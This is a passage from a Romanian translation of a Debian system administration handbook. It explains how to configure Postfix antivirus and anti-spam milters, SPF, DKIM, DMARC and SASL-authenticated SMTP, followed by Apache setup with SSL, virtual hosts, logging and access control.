mail filter) este un program de filtrare special conceput pentru interfața cu e-mail server. Un milter folosește o
interfață standard de programare a aplicațiilor (API) care oferă performanțe mult mai bune decât filtrele
externe de e-mail server. Milter a fost inițial introdus de Sendmail, dar Postfix curând i-a urmat exemplul.

O PRIVIRE RAPIDĂ Pachetul spamass-milter oferă o soluție bazată pe SpamAssassin, celebrul detector de e-mailuri nesolicitate.
Extensia milter pentru Poate fi utilizat pentru a marca mesajele ca spamuri probabile (prin adăugarea unui antet suplimentar) și/sau
Spamassassin pentru a respinge total mesajele dacă scorul lor (“spamminess”) depășește un prag dat.

Odată ce pachetul clamav-milter este instalat, milter trebuie reconfigurat pentru a rula pe un TCP port și nu pe
soclul numit implicit. Acest lucru se poate realiza cu dpkg-reconfigure clamav-milter. Când vi se
solicită “Interfața de comunicare cu Sendmail”, răspundeți “inet:10002@127.0.0.1”.

224
 REȚINEȚI Motivul pentru care folosim un port TCP real, mai degrabă decât soclul numit este faptul că daemonii postfix
Port TCP real vs soclu numit rulează adesea chrooted și nu au acces la directorul care găzduiește socket-ul numit. De asemenea, puteți decide
să continuați să utilizați o priză numită și să alegeți o locație în chroot (/var/spool/postfix/).

Configurația standard ClamAV se potrivește cu majoritatea situațiilor, dar unii parametri importanți pot fi încă
personalizați cu dpkg-reconfigure clamav-base.
Ultimul pas implică să îi spuneți lui Postfix să folosească filtrul configurat recent. Aceasta este o chestiune
simplă de adăugare a următoarei directive la /etc/postfix/main.cf:

# Virus check with clamav-milter

smtpd_milters = inet:[127.0.0.1]:10002

Dacă antivirusul face probleme, această linie poate fi comentată și service reload postfix ar trebui să
fie rulată astfel încât această modificare să fie luată în considerare.

ÎN PRACTICĂ După ce antivirusul este configurat, trebuie testat comportamentul său corect. Cel mai simplu mod de a face
Testarea antivirusului acest lucru este să trimiteți un e-mail de testare cu un atașament care conține fișierul eicar.com (sau
eicar.com.zip), care poate fi descărcat online:
➨ https://2016.eicar.org/86-0-Intended-use.html
Acest fișier nu este un virus adevărat, ci un fișier de testare pe care toate software-urile antivirus de pe piață îl
diagnostichează ca virus pentru a permite verificarea instalărilor.

Toate mesajele gestionate de Postfix trec acum prin filtrul antivirus.

11.1.7. Combaterea spamului cu SPF, DKIM și DMARC

Numărul mare de e-mail nesolicitate trimise în fiecare zi a dus la crearea mai multor standarde, care vizează
validarea faptului că gazda de trimitere a unui e-mail este autorizată și că e-mail-ul nu a fost modificat.
Următoarele sisteme sunt toate bazate pe DNS și necesită ca administratorii să aibă control nu numai asupra
mail server, ci și asupra DNS, pentru domeniul în cauză.

REȚINEȚI La fel ca orice alt instrument, următoarele standarde au limite și efecte reale dacă sunt folosite. Ele pot (și ar
Discuție controversată trebui) să ducă la respingerea e-mailurilor sau chiar la eliminarea acestora. Dacă acest lucru se întâmplă cu unele
e-mailuri legitime (uneori trimise de pe un SMTP server configurat greșit), de obicei provoacă furie și lipsa de
înțelegere de către utilizator. Prin urmare, aceste reguli sunt adesea aplicate ca „eșec soft” sau „respingere
ușoară”, ceea ce înseamnă de obicei că eșecul verificărilor duce doar la adăugarea unui semn (antet) la e-mailul
afectat. Există oameni care cred că acest lucru face ca aceste standarde să fie „încălcate de design”. Decideți
pentru dvs. și fiți atenți la cât de strict alegeți să aplicați aceste standarde.

11.1.7.1. Integrarea cadrului de politici ale expeditorului (SPF)

Sender Policy Framework (SPF) este utilizat pentru a valida dacă unui anumit mail server îi este permis să
trimită e-mail-uri pentru un anumit domeniu. Este configurat în cea mai mare parte prin DNS. Sintaxa pentru
intrarea de făcut este explicată în detaliu la:
➨ http://www.open-spf.org/SPF_Record_Syntax
➨ https://tools.ietf.org/html/rfc7208
➨ https://en.wikipedia.org/wiki/Sender_Policy_Framework
Următorul este un exemplu de intrare DNS care afirmă că toate Mail Exchange Resource Records (MX-RR) ale
domeniului au permisiunea de a trimite prin e-mail domeniul curent, iar toate celelalte sunt interzise. Intrarea
DNS nu trebuie să primească un nume. Dar pentru a utiliza directiva include trebuie să aibă una.

Name: example.org
Type: TXT
TTL: 3600
Data: v=spf1 a mx -all

Să aruncăm o scurtă privire la intrarea din scoalagenerala.org

# host -t TXT scoalagenerala.org

scoalagenerala.org descriptive text "v=spf1 ip4:199.127.61.96 +a +mx +ip4:206.221.184.234
+ip4:209.222.96.251 ~all"

225
Se afirmă că adresa IP a expeditorului trebuie să se potrivească cu înregistrarea A pentru domeniul de
trimitere sau trebuie să fie listată ca una dintre Mail Exchange Resource Records pentru domeniul curent, sau
trebuie să fie una dintre cele trei adrese IP4 menționate. Toate celelalte gazde ar trebui marcate ca
nepermise să trimită e-mail-uri pentru domeniul expeditorului. Acesta din urmă este numit "soft fail” și este
destinat să marcheze e-mail în consecință, dar totuși îl acceptă.
Mail server postfix poate verifica înregistrarea SPF pentru e-mail-urile primite utilizând pachetul postfix-
policyd-spf-python, un agent de politică scris în Python. Fișierul /usr/share/doc/postfix-policyd-
spf-python/README.Debian descrie pașii necesari pentru a integra agentul în postfix, deci nu îl vom
repeta aici.
Configurarea se face în fișierul /etc/postfix-policyd-spf-python/policyd-spf.conf, care este
complet documentat în policyd-spf.conf (5) și
/usr/share/doc/postfix-policyd-spf-python/policyd-spf.conf.commented.gz. Parametrii
principali de configurare sunt HELO_reject și Mail_From_reject, care configurează dacă e-mail-urile ar
trebui respinse (Fail) sau acceptate cu un antet adăugat (False), dacă verificările eșuează. Acesta din
urmă este adesea util, atunci când mesajul este procesat în continuare de un filtru de spam.
Dacă rezultatul este destinat să fie utilizat de opendmarc (secțiunea 11.1.7.3. “Integrarea autentificării, raportării
și conformității mesajelor bazate pe domeniu (DMARC)” pagina 227), atunci Header_Type trebuie setat la AR.
Rețineți că spamassassin conține un plugin pentru a verifica înregistrarea SPF.

11.1.7.2. Integrarea autentificării și verificării DomainKeys (DKIM)

Domain Keys Identified Mail (DKIM) standard este un sistem de autentificare a expeditorului. Agentul de
transport poștal, aici postfix, adaugă o semnătură digitală asociată cu numele de domeniu la antetul e-mail-
urilor trimise. Partea destinatară poate valida corpul mesajului și câmpurile de antet verificând semnătura cu
o cheie publică, care este preluată din înregistrările DNS ale expeditorilor.
➨ http://dkim.org/
Instrumentele necesare sunt livrate împreună cu pachetele opendkim și opendkim-tools.

AVERTIZARE Administratorii listelor de corespondență rescriu adesea unele anteturi de e-mail, ducând astfel la semnături
Mailing list software și DKIM DKIM nevalide. Chiar și utilizarea unei canonizări relaxed nu împiedică întotdeauna acest lucru. Așadar,
administratorii trebuie să acorde o atenție deosebită fișierelor jurnal e-mail-urilor eliminate, pentru a identifica
astfel de probleme. În caz contrar, astfel de e-mail uri ar putea fi semnalate ca spam și ar putea fi respinse.

Mai întâi cheia privată trebuie creată folosind comanda opendkim-genkey -s SELECTOR -d DOMAIN.
SELECTOR trebuie să fie un nume unic pentru cheie. Poate fi la fel de simplu ca "mail" sau data creării, dacă
intenționați să rotiți cheile.

Exemplul 11.11 Creați o cheie privată pentru semnarea e-mail-urilor de pe scoalagenerala.com

# opendkim-genkey -s mail -d scoalagenerala.com -D /etc/dkimkeys

# chown opendkim.opendkim /etc/dkimkeys/mail.*

Aceasta va crea fișierele /etc/dkimkeys/mail.private și /etc/dkimkeys/mail.txt și va stabili

proprietarul corespunzător. Primul fișier conține cheia privată, iar cel din urmă cheia publică care trebuie
adăugată la DNS:

Name: mail._domainkey
Type: TXT
TTL: 3600
Data: "v=DKIM1; h=sha256; k=rsa; s=email; p=[...]"

Pachetul opendkim din Debian este implicit la dimensiunea cheii de 2048 bit. Din păcate, unele DNS server pot
gestiona doar intrări de text cu o lungime maximă de 255 de caractere, care este depășită de dimensiunea
de tastă implicită aleasă. În acest caz, utilizați opțiunea -b 1024 pentru a alege o dimensiune a tastei mai
mică. Dacă opendkim-testkey reușește, intrarea a fost configurată cu succes. Sintaxa intrării este
explicată aici:
➨ https://tools.ietf.org/html/rfc6376
➨ https://en.wikipedia.org/wiki/DKIM

226
Pentru a configura opendkim, SOCKET și RUNDIR trebuie alese în /etc/default/opendkim. Vă rugăm să
rețineți că SOCKET trebuie să fie accesibil din postfix în mediul său chroot-at. Configurarea ulterioară se
face în /etc/opendkim.conf. Următorul este un extras de configurare, care asigură faptul că Domain
"scoalagenerala.com” și toate subdomeniile (SubDomain) sunt semnate de Selector "mail” și de cheia
privată unică (KeyFile) /etc/dkimkeys/mail.private. Canonicalization "relaxată”, atât pentru
antet cât și pentru corp, tolerează modificări ușoare (de exemplu, printr-un mailing list software). Filtrul rulează
în Mode atât semnare ("s”), cât și verificare ("v”). Dacă o semnătură nu reușește să valideze (On-
BadSignature), e-mail-ul trebuie pus în carantină ("q”).

[...]
Domain scoalagenerala.com
KeyFile /etc/dkimkeys/mail.private
Selector mail

[...]
Canonicalization relaxed/relaxed
Mode sv
On-BadSignature q
SubDomains yes

[...]
Socket inet:12345@localhost

[...]
UserID opendkim

De asemenea, este posibil să utilizați mai multe selectoare/chei (KeyTable), domenii (SigningTable) și
să specificați gazde interne sau de încredere (InternalHosts, ExternalIgnoreList), care pot trimite
mesaje prin server ca unul dintre domeniile de semnare fără acreditări.
Următoarele directive din /etc/postfix/main.cf fac ca postfix să utilizeze filtrul:
milter_default_action = accept
non_smtpd_milters = inet:localhost:12345
smtpd_milters = inet:localhost:12345

Pentru a diferenția semnarea și verificarea, uneori este mai util să adăugați directivele la serviciile din /etc/
postfix/master.cf.
Mai multe informații sunt disponibile în directorul /usr/share/doc/opendkim/ și în paginile de manual
opendkim(8) și opendkim.conf(5).
Rețineți că spamassassin conține un plugin pentru a verifica înregistrarea DKIM.

11.1.7.3. Integrarea autentificării, raportării și conformității mesajelor bazate

pe domeniu (DMARC)
Standardul de autentificare, raportare și conformare a mesajelor bazate pe domeniu (Domain-based Message
Authentication, Reporting and Conformance - DMARC) poate fi utilizat pentru a defini o intrare DNS TXT cu
name_dmarc și acțiunea care ar trebui luată atunci când e-mail-urile care conțin domeniul dvs. ca gazdă de
trimitere nu reușesc să valideze folosind DKIM și SPF.
➨ https://dmarc.org/overview/
Să aruncăm o privire la intrările a doi mari furnizori:
# host -t TXT _dmarc.gmail.com
_dmarc.gmail.com descriptive text "v=DMARC1; p=none; sp=quarantine; rua=mailto:mailauth-
reports@google.com"
# host -t TXT _dmarc.yahoo.com
_dmarc.yahoo.com descriptive text "v=DMARC1; p=reject; pct=100; rua=mailto:dmarc_y_rua@yahoo.com;"

Yahoo are o politică strictă de a respinge toate e-mail-urile care pretind că sunt trimise dintr-un cont Yahoo,
dar lipsesc sau nu verificările DKIM și SPF. Google Mail (Gmail) propagă o politică foarte relaxată, în care
astfel de mesaje din domeniul principal ar trebui acceptate în continuare (p=none). Pentru subdomenii,
acestea trebuie marcate ca spam (sp=quarantine). Adresele date în cheia rua pot fi utilizate pentru a
trimite rapoarte DMARC agregate. Sintaxa completă este explicată aici:

227
➨ https://tools.ietf.org/html/rfc7489
➨ https://en.wikipedia.org/wiki/DMARC
Aceste informații pot fi folosite și de postfix mail server. Pachetul opendmarc conține, necesar, milter.
Similar cu opendkim SOCKET și RUNDIR trebuie alese în /etc/default/opendmarc (pentru Unix
sockets trebuie să vă asigurați că se află în postfix chroot, pentru a fi găsit). Fișierul de configurare
/etc/opendmarc.conf conține comentarii detaliate și este explicat și în opendmarc.conf(5). În mod implicit,
e-mail-urile care nu reușesc validarea DMARC nu sunt respinse, dar semnalate, prin adăugarea unui câmp
de antet adecvat. Pentru a schimba acest lucru, utilizați RejectFailures true.
Milter este apoi adăugat la smtpd_milters și non_smtpd_milters. Dacă am configurat opendkim și
opendmarc milters pentru a rula pe port 12345 și 54321, intrarea în /etc/postfix/main.cf arată astfel:

non_smtpd_milters = inet:localhost:12345,inet:localhost:54321
smtpd_milters = inet:localhost:12345,inet:localhost:54321

Milter poate fi, de asemenea, aplicat selectiv unui serviciu în /etc/postfix/master.cf.

11.1.8. SMTP autentificat

Pentru a putea trimite e-mail-uri trebuie ca un SMTP server să poată fi accesibil și să se transmită prin el.
Utilizatorii în roaming, trebuie să modifice regulat configurația SMTP client, deoarece SMTP server de la Școala
Generală respinge mesajele care provin de la adrese IP, care nu par să aparțin companiei. Există două soluții:
fie utilizatorul în roaming instalează un SMTP server pe computerul lor, fie utilizează în continuare server-ul
companiei cu unele mijloace de autentificare ca asistent. Prima soluție nu este recomandată, deoarece
computerul nu va fi conectat permanent și nu va putea reîncerca trimiterea mesajelor în caz de probleme; ne
vom concentra pe ultima soluție.
Autentificarea SMTP în Postfix se bazează pe SASL- Simple Authentication and Security Layer(Strat de
Autentificare și Securitate Simplă). Cere instalarea pachetelor libsasl2-modules și sasl2-bin, apoi înregistrarea
unei parole în baza de date SASL pentru fiecare utilizator care are nevoie de autentificare pe SMTP server.
Acest lucru se realizează cu comanda saslpasswd2 care are mai mulți parametri. Opțiunea -u definește
domeniul de autentificare, care trebuie să corespundă parametrului smtpd_sasl_local_domain din
configurația Postfix. Opțiunea -c permite crearea unui utilizator, iar -f permite specificarea fișierului de
utilizat dacă baza de date SASL trebuie să fie stocată într-o altă locație decât cea implicită (/etc/sasldb2).

# saslpasswd2 -u `postconf -h myhostname` -f /var/spool/postfix/etc/sasldb2 -c jean

[... type ion's password twice ...]

Rețineți că baza de date SASL a fost creată în directorul Postfix. Pentru a asigura coerența, de asemenea,
transformăm /etc/sasldb2 într-o legătură simbolică îndreptată către baza de date folosită de Postfix, cu
comanda ln -sf /var/spool/postfix/etc/sasldb2 /etc/sasldb2.
Acum trebuie să configurăm Postfix pentru a utiliza SASL. Mai întâi, utilizatorul postfix trebuie adăugat la
sasl group pentru a putea accesa baza de date a contului SASL. Câțiva parametri noi sunt, de asemenea,
necesari pentru a activa SASL, iar parametrul smtpd_recipient_restrictions trebuie să fie configurat
pentru a permite clienților autentificați SASL să trimită email-uri în mod liber.

Exemplul 11.12 Activarea SASL în /etc/postfix/main.cf

# Enable SASL authentication

smtpd_sasl_auth_enable = yes
# Define the SASL authentication domain to use
smtpd_sasl_local_domain = $myhostname
[...]
# Adding permit_sasl_authenticated before reject_unauth_destination
# allows relaying mail sent by SASL-authenticated users
smtpd_recipient_restrictions =
permit_sasl_authenticated,
permit_mynetworks,
reject_unauth_destination,
[...]

De obicei, este o idee bună să nu trimiteți parole printr-o conexiune necriptată. Postfix permite utilizarea
configurațiilor diferite pentru fiecare port (serviciu) pe care rulează. Toate acestea pot fi configurate cu reguli

228
și directive diferite în fișierul /etc/postfix/master.cf. Pentru a dezactiva autentificarea pentru port 25
(serviciu smtpd), adăugați următoarea directivă:

smtp inet n - y - - smtpd

[..]
-o smtpd_sasl_auth_enable=no
[..]

Dacă din anumite motive clienții folosesc o comandă AUTH învechită (unii mail clients foarte vechi o fac),
interoperabilitatea cu aceștia poate fi activată folosind directiva broken_sasl_auth_clients.

EXTRA Majoritatea clienților de e-mail sunt capabili să se autentifice pe un SMTP server înainte de a trimite mesaje de
Client SMTP Authentificat ieșire, iar utilizarea acestei funcții este o simplă problemă de configurare a parametrilor corespunzători. Dacă
clientul în folosință nu furnizează această caracteristică, soluția este să utilizeze un Postfix server local și să îl
configureze pentru a retransmiterea e-mailului prin intermediul SMTP server de la distanță. În acest caz însuși
Postfix local va fi clientul care se atestă cu SASL. Iată parametrii necesari:
smtp_sasl_auth_enable = yes
smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd
relay_host = [mail.scoalagenerala.com]
Fișierul /etc/postfix/sasl_passwd trebuie să conțină numele și parola utilizatorului ce se folosesc
pentru autentificarea pe mail.scoalagenerala.com server. Iată un exemplu:
[mail.scoalagenerala.com] geoo:LyinIsji
Cât privește toate hărțile Postfix, acest fișier trebuie transformat în /etc/postfix/sasl_passwd.db cu
comanda postmap

11.2. Web server (HTTP)

Administratorul Școlii Generale a decis să utilizeze Apache HTTP server versiunea 2.4.38, inclus în Debian
Buster.

ALTERNATIVĂ Apache este cel mai cunoscut web server (și folosit pe scară largă), dar există și altele; ele pot oferi echivalente
Alte web server-e mai bune în anumite sarcini dar un număr mai mic de funcții și module disponibile. Cu toate acestea, când
viitorul web server este construit pentru a servi fișiere statice sau pentru a acționa ca un proxy, alternativele ca
nginx și lighttpd merită cercetate.

11.2.1. Instalarea Apache

Tot ce trebuie, este instalarea pachetului apache2. Conține toate modulele, inclusiv Multi-Processing Modules
(MPMs) care afectează felul în care Apache gestionează procesarea paralelă a multor cereri (cele folosite în
pachete separate apache2-mpm-*). De asemenea, va atrage apache2-utils conținând utilitarele liniei de
comandă pe care le vom descoperi mai târziu.
MPM folosit afectează în mod semnificativ felul în care Apache va gestiona cererile simultane. Cu worker
MPM, folosește threads (procese ușoare), în timp ce cu prefork MPM folosește un set de procese create în
avans. Cu event MPM folosește și thread-uri, dar conexiunile inactive (în special cele menținute deschise de
funcția HTTP keep-alive) sunt predate unui fir de gestionare dedicat.
Administratorul Școlii Generale instalează de asemenea libapache2-mod-php5 pentru a include suportul PHP în
Apache. Aceasta face ca event MPM implict să fie dezactivat, în schimb să fie utilizat prefork, deoarece PHP
funcționează doar în baza acelui MPM.

SECURITATE În mod implicit, Apache gestionează cererile primite sub identitatea utilizatorului www-data. Aceasta înseamnă
Execuția în www-data user că o vulnerabilitate a securității într-un script CGI executat de Apache (pentru o pagină dinamică) nu va
compromite întregul sistem, ci doar fișierele deținute de acest anumit utilizator.
Utilizarea modulelor suexec permite ocolirea acestei reguli, astfel încât unele scripturi CGI să fie executate sub
identitatea altui utilizator. Aceasta este configurată cu o directivă SuexecUserGroup usergroup în
configurația Apache.
O altă posibilitate este să folosiți un MPM dedicat, cum ar fi cel furnizat de libapache2-mpm-itk. Acesta are un
comportament ușor diferit: permite “izolarea” gazdelor virtuale (de fapt, seturi de pagini), astfel încât acestea să
fie rulate ca un utilizator diferit. Prin urmare, o vulnerabilitate a unui site nu poate compromite fișierele care
aparțin proprietarului unui alt sit.

229
 O PRIVIRE RAPIDĂ Lista completă a modulelor standard Apache poate fi găsită online.
Lista modulelor ➨ http://httpd.apache.org/docs/2.4/mod/index.html

Apache este un server modular, iar multe funcții sunt implementate de module externe pe care programul
principal le încarcă în timpul inițializării sale. Configurația implicită permite doar cele mai comune module, dar
activarea de noi module se face prin executarea a2enmod module; pentru a dezactiva un modul, comanda
este a2dismod module. Aceste programe creează (sau șterg) doar legături simbolice din /etc/apache2/
mods-enabled/, indicând fișierele reale (stocate în /etc/apache2/mods-available/).
Cu configurația sa implicită, web server ascultă portul 80 (așa cum este configurat în
/etc/apache2/ports.conf), și servește pagini din directorul /var/www/html/ (așa cum este
configurat în /etc/apache2/sites-enabled/000-default.conf).

IN PRACTICĂ Modulul mod_info (a2enmod_info) permite accesul la configurația și informațiile complete ale Apache
Verificarea configurației server în browser, accesând http://localhost/server-info. Deoarece poate conține informații
sensibile, accesul este permis în mod implicit numai de la gazda locală.
➨ https://httpd.apache.org/docs/2.4/mod/mod_info.html

În configurația sa implicită, web server ascultă pe port 80 (așa cum este configurat în
/etc/apache2/ports.conf) și servește pagini din directorul /var/www/html/ (așa cum este configurat
în /etc/apache2/sites-activate/000-default.conf).

11.2.2. Adăugarea suportului pentru SSL

Apache 2.4 include modulul SSL (mod_ssl) necesar pentru HTTP securizat (HTTPS). Trebuie doar să fie
activat cu a2enmod ssl, apoi directivele necesare trebuie adăugate la fișierele de configurare. Un exemplu
de configurare este furnizat în /etc/apache2/sites-available/default-ssl.conf.
➨ https://httpd.apache.org/docs/2.4/mod/mod_ssl.html
Dacă doriți să generați certificate de încredere, puteți urma secțiunea secțiunea 10.2.1. “Crearea certificatelor
de încredere gratuite” pagina 192 și apoi ajustați următoarele variabile:

SSLCertificateFile /etc/letsencrypt/live/DOMAIN/fullchain.pem
SSLCertificateKeyFile /etc/letsencrypt/live/DOMAIN/privkey.pem
SSLCertificateChainFile /etc/letsencrypt/live/DOMAIN/chain.pem
SSLCACertificateFile /etc/ssl/certs/ca-certificates.crt

Trebuie să aveți grijă suplimentară dacă doriți să favorizați conexiunile SSL cu Perfect Forward Secrecy (acele
conexiuni utilizează chei de sesiune efemere, asigurându-vă că compromiterea cheii secrete a server-ului nu
are ca rezultat compromiterea traficului criptat vechi care ar fi putut fi stocat în timpul sniffing-ului în rețea).
Aruncați o privire la recomandările Mozilla în special:
➨ https://wiki.mozilla.org/Security/Server_Side_TLS#Apache
Ca alternativă la modulul SSL standard, există un modul de extensie numit mod_gnutls, care este livrat
împreună cu pachetul libapache2-mod-gnutls și activat cu comanda a2enmod gnutls.
➨ https://mod.gnutls.org/

11.2.3. Configurarea gazdelor virtuale

O gazdă virtuală este o identitate suplimentară pentru web server.
Apache ia în considerare două tipuri diferite de gazde virtuale: cele care se bazează pe adresa IP (sau port)
și cele care se bazează pe numele domeniului al web server. Prima metodă necesită alocarea unei adrese IP
diferite (sau a unui port) pentru fiecare site, în timp ce cea de-a doua poate lucra pe o singură adresă IP (și
port), iar site-urile sunt diferențiate de hostname trimis de HTTP client (care funcționează doar în versiunea 1.1
a HTTP protocol — din fericire acea versiune este suficient de veche, încât toți clienții o folosesc deja).
Insuficiența crescândă a adreselor IPv4 favorizează de obicei a doua metodă; dar este mai complexă dacă
gazdele virtuale trebuie să furnizeze și HTTPS, deoarece SSL protocol nu a furnizat întotdeauna găzduire
virtuală bazată pe nume; extensia indicarea numelui de server — SNI (Server Name Indication) care permite o
astfel de combinație nu este gestionată de toate browser-ele. Când mai multe situri HTTPS trebuie să ruleze

230
pe același server, acestea vor fi, de obicei, diferențiate fie rulând pe un port diferit, fie pe o adresă IP diferită
(IPv6 poate ajuta acolo).
Configurația implicită pentru Apache 2 permite gazdele virtuale bazate pe nume. În plus, o gazdă virtuală
implicită este definită în fișierul /etc/apache2/sites-enabled/000-default.conf; această gazdă
virtuală va fi utilizată dacă nu se găsește nicio gazdă care să corespundă cererii trimise de client.

PRUDENȚĂ Cererile referitoare la gazdele virtuale necunoscute vor fi întotdeauna furnizate de prima gazdă virtuală definită,
Prima gazdă virtuală motiv pentru care am definit-o aici pe prima www.scoalagenerala.com.

O PRIVIRE RAPIDĂ Apache server acceptă o extensie de protocol SSL numită Server Name Indication (SNI). Această extensie
Apache suportă SNI permite browserului să trimită numele gazdă al web server în timpul stabilirii conexiunii SSL, mult mai devreme
decât cererea HTTP în sine, care a fost utilizată anterior pentru a identifica gazda virtuală solicitată printre cele
găzduite pe același server (cu aceeași Adresă IP și port). Aceasta permite Apache să selecteze cel mai potrivit
certificat SSL pentru tranzacția care urmează.
Înainte de SNI, Apache ar folosi întotdeauna certificatul definit în gazda virtuală implicită. Clienții care încearcă
să acceseze o altă gazdă virtuală vor afișa avertizări, deoarece certificatul pe care l-au primit nu se potrivește cu
site-ul web pe care încercau să îl acceseze. Din fericire, majoritatea browserelor lucrează acum cu SNI; aceasta
include Microsoft Internet Explorer care începe cu versiunea 7.0 (începând cu Vista), Mozilla Firefox începând
cu versiunea 2.0, Apple Safari începând cu versiunea 3.2.1 și toate versiunile Google Chrome.
Pachetul Apache furnizat în Debian este construit cu suport pentru SNI; prin urmare, nu este necesară o
configurație specială.
De asemenea, trebuie să aveți grijă să vă asigurați de configurația pentru prima gazdă virtuală (cea utilizată
implicit), ca aceasta să permită TLSv1, deoarece Apache folosește parametrii acestei prime gazde virtuale pentru
a stabili conexiuni sigure și le-au permis mai bine!

Fiecare gazdă virtuală suplimentară este descrisă de un fișier stocat în /etc/apache2/sites-

available/. Prin urmare, configurarea unui web site pentru domeniul scoalagenerala.org este simplă,
prin crearea următorul fișier, apoi să permiteți gazdei virtuale cu a2ensite www.scoalagenerala.org.

Exemplul 11.13 Fișierul /etc/apache2/sites-available/www.scoalagenerala.org.conf

<VirtualHost *:80>
ServerName www.scoalagenerala.org
ServerAlias scoalagenerala.org
DocumentRoot /srv/www/www.scoalagenerala.org
</VirtualHost>

Apache server configurat până acum folosește aceleași fișiere jurnal pentru toate gazdele virtuale (deși acest
lucru ar putea fi modificat prin adăugarea de directive CustomLog în definițiile gazdelor virtuale). Prin
urmare, e de bun simț să personalizați formatul acestui fișier jurnal pentru ca acesta să includă numele
gazdei virtuale. Acest lucru se poate realiza prin crearea unui fișier
/etc/apache2/conf-available/customlog.conf care definește un nou format pentru toate fișierele
de jurnal (cu directiva LogFormat) și activând-o cu a2enconf customlog. Linia CustomLog trebuie de
asemenea eliminată (sau comentată) din fișierul /etc/apache2/sites-available/000-
default.conf.

Exemplul 11.14 Fișierul /etc/apache2/conf.d/customlog.conf

# New log format including (virtual) host name

LogFormat "%v %h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" vhost

# Now let's use this "vhost" format by default

CustomLog /var/log/apache2/access.log vhost

11.2.4. Directive generale

Această secțiune examinează succint unele dintre directivele de configurare Apache, utilizate frecvent.
Fișierul principal de configurare include de obicei mai multe Directory blocks; ele permit specificarea
diferitelor comportamente pentru server în funcție de locația fișierului servit. Un astfel de bloc include în mod
obișnuit directivele Options și AllowOverride.

Exemplul 11.15 Directory block

231
<Directory /srv/www>
Options Includes FollowSymlinks
AllowOverride All
DirectoryIndex index.php index.html index.htm
</Directory>

Directiva DirectoryIndex conține o listă de fișiere de încercat atunci când solicitarea clientului se
potrivește cu un director. Primul fișier existent din listă este utilizat și trimis ca răspuns.
Directiva Options este urmată de o listă de opțiuni de activat. Valoarea None dezactivează toate opțiunile;
corespunzător, All le permite pe toate, cu excepția MultiViews. Opțiunile disponibile includ:
• ExecCGI indică faptul că CGI scripts pot fi executate.
• FollowSymlinks spune server-ului că link-urile simbolice pot fi urmate și că răspunsul ar trebui să
conțină conținutul țintei acestor legături.
• SymlinksIfOwnerMatch spune, de asemenea, server-ului să urmeze legături simbolice, dar numai
atunci când link-ul și ținta sa au același proprietar.
• Includes activează Server Side Includes (SSI pe scurt). Acestea sunt directive încorporate în pagini
HTML și executate din mers pentru fiecare solicitare.
• Indexes spune server-ului să enumere conținutul unui director dacă cererea HTTP trimisă de client
punctează un director fără un fișier index (adică, atunci când nu există fișiere menționate de directiva
DirectoryIndex în acest director).
• MultiViews permite negocierea conținutului; acest lucru poate fi folosit de server pentru a returna o
pagină web care se potrivește cu limba preferată, astfel cum este configurată în browser.

NOȚIUNI DE BAZĂ Fișierul .htaccess conține directive de configurare Apache aplicate de fiecare dată când o solicitare se referă
Fișierul .htaccess la un element al directorului în care este stocată. Aplicare al acestor directive este recurentă, de asemenea, la
toate subdirectoarele din interior.
Majoritatea directivelor care pot apărea într-un bloc Directory sunt, de asemenea, legale într-un fișier
.htaccess.

Directiva AllowOverride listează toate opțiunile care pot fi activate sau dezactivate printr-un fișier
.htaccess. O utilizare obișnuită a acestei opțiuni este de a restricționa ExecCGI astfel încât
administratorul să aleagă utilizatorii care au voie să ruleze programe sub identitatea web server-ului
(utilizatorul www-data).

11.2.4.1. Solicitarea autentificării

În unele circumstanțe, accesul la o parte a unui web site trebuie să fie restricționat, astfel încât doar utilizatorii
legitimi care furnizează un nume de utilizator și o parolă să li se acorde acces la conținut.

Exemplul 11.16 Fișierul cu solicitarea autentificării .htaccess

Require valid-user
AuthName "Private directory"
AuthType Basic
AuthUserFile /etc/apache2/authfiles/htpasswd-private

SECURITATE Sistemul de autentificare folosit în exemplul de mai sus (Basic) are o securitate minimă, deoarece parola este
Fără securitate trimisă într-un text clar (este codată doar ca base64, care este o simplă codificare mai degrabă. decât o metodă
de criptare). De asemenea, trebuie menționat faptul că documentele “protejate” de acest mecanism trec și prin
rețea în mod clar. Dacă securitatea este importantă, întreaga conexiune HTTP ar trebui să fie criptată cu SSL.

Fișierul /etc/apache2/authfiles/htpasswd-private conține o listă de utilizatori și parole; este

manipulat în mod obișnuit cu comanda htpasswd. De exemplu, următoarea comandă este utilizată pentru a
adăuga un utilizator sau pentru a-i schimba parola:

# htpasswd /etc/apache2/authfiles/htpasswd-private user

New password:
Re-type new password:
Adding password for user user

11.2.4.2. Restricționarea accesului

232
Directiva Require controlează restricțiile accesului pentru un director (și subdirectoarele sale, recursiv).
Poate fi folosit pentru a restricționa accesul pe baza multor criterii; ne vom opri la descrierea restricției
accesului pe baza adresei IP a clientului, dar poate fi făcută mult mai puternică decât asta, mai ales atunci
când se combină mai multe directive Require în cadrul unui RequireAll block.

Exemplul 11.17 Permite doar din rețeaua locală

Require ip 192.168.0.0/16

ALTERNATIVĂ Sintaxa Require este disponibilă doar în Apache 2.4 (versiunea din Jessie). Pentru utilizatorii lui Wheezy
Sintaxa veche sintaxa Apache 2.2 este diferită și o descriem aici în principal pentru referință, deși poate fi disponibilă și în
Apache 2.4 folosind modulul mod_access_compat.
Directivele Allow from și Deny from controlează restricțiile accesului pentru un director (și
subdirectoarele sale, recursiv).
Directiva Order comunică server-ului ordinea în care se aplică directivele Allow from și Deny from;
ultimul care se potrivește are prioritate. În termeni concreți, Order deny,allow permite accesul dacă nu se
aplică nicio Deny from sau dacă o directivă Allow from. Dimpotrivă, Order allow,deny respinge
accesul dacă nu se potrivește nicio directivă Allow from (sau dacă se aplică o directivă Deny from).
Directivele Allow from și Deny from pot fi urmate de o adresă IP, o rețea (cum ar fi
192.168.0.0/255.255.255.0, 192.168.0.0/24 sau chiar 192.168.0), un nume de gazdă sau un
nume de domeniu sau cuvântul cheie all, care desemnează toată lumea.
De exemplu, pentru a respinge conexiunile în mod implicit, dar le permiteți din rețeaua locală, puteți utiliza
acest lucru:
Order deny,allow
Allow from 192.168.0.0/16
Deny from all

11.2.5. Analizoare de jurnale

Un analizator de jurnal este instalat frecvent pe un web server; întrucât primul oferă administratorilor o idee
precisă a modelelor de utilizare ale celui de-al doilea.
Administratorul Școlii Generale a ales AWStats (Advanced Web Statistics — Statistici Web Avansate) pentru a
analiza Apache log files.
Primul pas de configurare este personalizarea fișierului /etc/awstats/awstats.conf. Administratorul
